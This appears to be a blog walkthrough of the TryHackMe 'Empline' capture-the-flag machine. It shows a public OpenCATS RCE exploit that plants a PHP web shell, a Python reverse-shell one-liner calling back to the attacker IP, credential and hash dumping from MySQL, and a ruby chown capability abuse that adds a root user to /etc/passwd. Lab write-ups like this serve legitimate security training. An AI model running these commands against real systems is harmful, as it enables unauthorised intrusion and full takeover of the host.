CTF : Empline

CTF Empline writeup. Source THM. Announced difficulty level: Medium

Posted by Boula-Bytes on 29 November 2022

CTF : Empline

Informations

  • IP: 10.10.241.5
  • MYIP: 10.8.16.133

First enumeration

Basics

  • NMAP
console
$ sudo nmap -p- 10.10.241.5 Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-29 22:26 CET Nmap scan report for 10.10.241.5 Host is up (0.042s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql

Vulnerabilities search

On the website there was link that go to job.empline.thm ...

So I had it to my /etc/hosts.

http://job.empline.thm lead to an instance of opencats v0.9.4

console
$ searchsploit opencats ------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------- --------------------------------- OpenCATS 0.9.4 - Remote Code Execution (RCE) | php/webapps/50585.sh OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) | php/webapps/50316.py ------------------------------------------------------------------------------------- ---------------------------------

Huuum an RCE... :)

Exploit

./50585.sh http://job.empline.thm
 _._     _,-'""`-._ 
(,-.`._,'(       |\`-/|        RevCAT - OpenCAT RCE
    `-.-' \ )-`( , o o)         Nicholas  Ferreira
          `-    \`_`"'-   https://github.com/Nickguitar-e 

[*] Attacking target http://job.empline.thm
[*] Checking CATS version...
-e [*] Version detected: 0.9.4
[*] Creating temp file with payload...
[*] Checking active jobs...
./50585.sh: 105: [[: not found
-e [+] Jobs found! Using job id 1
[*] Sending payload...
-e [+] Payload dCoqH.php uploaded!
[*] Deleting created temp file...
[*] Checking shell...
-e [+] Got shell! :D
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux empline 4.15.0-147-generic #151-Ubuntu SMP Fri Jun 18 19:21:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
-e 
$ ls
dCoqH.php

We got a shell but we couldn't use the shell freely so I started a pwncat on the attacker box

shell
pwncat -lp 1234

And on target :

shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.16.133",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And I got a full shell :)

Privilege escalation

Enumeration for privesc to george

I first tried to privesc to george.

In /var/www/opencats/config.php :

php
/* Database configuration. */ define('DATABASE_USER', 'james'); define('DATABASE_PASS', 'nxxxxxxxxxxw'); define('DATABASE_HOST', 'localhost'); define('DATABASE_NAME', 'opencats');

We could use those creds to login into mysql as the TCP port 3306 was open.

console
mysql> select user_name,password from user; +----------------+----------------------------------+ | user_name | password | +----------------+----------------------------------+ | admin | b67xxxxxxxxxxxxxxxxxxxxxxxx053ec | | cats@rootadmin | cantlogin | | george | 86xxxxxxxxxxxxxxxxxxxxxxxxxx56ac | | james | e5xxxxxxxxxxxxxxxxxxxxxxxxxxxxc9 | +----------------+----------------------------------+ 4 rows in set (0.03 sec)

Exploit for privesc to george

I used crackstation to crack george hash :

86xxxxxxxxxxxxxxxxxxxxxxxxxx56ac => pxxxxxxxxxxxxxxxxxxxxe

And I could use this creds to login into the box as george through ssh

Enumeration for privesc to root

As I was enumerating I found that ruby bin got a special capability :

console
$ getcap -r / 2>/dev/null /usr/bin/mtr-packet = cap_net_raw+ep /usr/local/bin/ruby = cap_chown+ep

It means that I could use ruby to change ownership of any file :)

Exploit

I found informations on ruby syntax here : https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

I used this code to change ownership of /etc/passwd

shell
ruby -e 'require "fileutils"; FileUtils.chown(1002, 1002, "/etc/passwd")' echo 'toto:$1$toto$U3mQTcCvor57o7Hq2Woid.:0:0:root:/root:/bin/bash' >> /etc/passwd

Then :

console
$ su - toto Password: root@empline:~# whoami root root@empline:~# cat /root/root.txt

\o/